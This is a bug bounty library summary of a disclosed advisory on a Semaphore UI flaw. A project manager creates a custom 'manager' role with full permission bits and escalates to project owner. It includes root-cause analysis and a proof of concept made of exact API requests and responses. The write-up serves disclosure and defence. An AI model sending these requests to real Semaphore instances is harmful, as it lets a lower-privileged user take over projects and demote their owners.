# Semaphore UI: Manager-to-owner privilege escalation via custom-role slug collision

Semaphore's role lookup ignores project scope and doesn't reserve built-in slugs, letting a project manager create a custom 'manager' role with owner permission bits and escalate to owner.

- Payout: Research
- Severity: high
- Program: Semaphore UI
- Found by: kah-ja
- Disclosed: 2026-09-03
- CVE: CVE-2026-73293
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cxvf-gvfq-36w2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cxvf-gvfq-36w2
- Tags: area:web domain:api domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** Project role management API (POST /api/project/{id}/roles) and ProjectMiddleware permission resolution
**Root cause:** GetProjectOrGlobalRoleBySlug runs `select * from role where slug=?` ignoring project scope, and ProjectMiddleware overwrites the built-in permission bitmask with any matching role row. ValidateRole enforces neither reserved slugs nor a permission ceiling, so a manager can create a slug 'manager' row with permissions 15.
**Steps:**
1. As manager, confirm baseline: `GET /api/project/42/role` returns permissions 5; `PUT /api/project/42` returns 403.
2. Create colliding role: `POST /api/project/42/roles` with body `{"slug":"manager","name":"pwn","permissions":15}` -> 201 Created.
3. Next request: `GET /api/project/42/role` now returns permissions 15.
4. Perform owner-only actions: `PUT /api/project/42` with `{"id":42,"name":"owned","alert":false}` -> 204; `POST /api/project/42/users` with `{"user_id":99,"role":"task_runner"}` -> 204.
**How found:** Code review of ProjectMiddleware permission resolution: noticed GetProjectOrGlobalRoleBySlug accepts a project id but the SQL ignores it, and that ValidateRole lacks a reserved-slug list and permission ceiling, while the role-creation route is gated by a permission manager already holds.
**Exploitation:** An authenticated project manager sends one POST to the role-creation endpoint (gated only by CanManageProjectResources, which manager holds) creating a role with slug 'manager' and full bitmask 15. The unscoped slug lookup returns this row on subsequent requests, so the manager's effective permissions become owner-equivalent, enabling project settings changes, member add/remove/re-role, project deletion, and demotion of the legitimate owner.
**Escalation:** Escalation from manager (permissions 5) to owner (permissions 15) via a single self-created role row; owner bits CanUpdateProject and CanManageProjectUsers unlock member management and project deletion.
**Insight:** When a permission resolver does a slug lookup that accepts a scope parameter, verify the SQL actually filters on it; and check whether role-creation validators reserve built-in slugs and cap permission bits, since a self-service role row can shadow the built-in one.

## Proof of concept (copied exactly from the original report)

**POST creating colliding manager role with permissions 15**

```
POST /api/project/42/roles    Cookie: semaphore=<manager-session>
Content-Type: application/json
{"slug":"manager","name":"pwn","permissions":15}
  -> HTTP/1.1 201 Created
     {"slug":"manager","name":"pwn","permissions":15,"project_id":42}
```

**Owner-only actions succeeding after escalation**

```
GET  /api/project/42/role  -> {"role":"manager","permissions":15}
PUT  /api/project/42       {"id":42,"name":"owned","alert":false}      -> 204 No Content
POST /api/project/42/users {"user_id":99,"role":"task_runner"}         -> 204 No Content
```

**Baseline showing manager denied owner endpoints**

```
GET  /api/project/42/role     Cookie: semaphore=<manager-session>
  -> {"role":"manager","permissions":5}
PUT  /api/project/42          Cookie: semaphore=<manager-session>
  -> HTTP/1.1 403 Forbidden
```

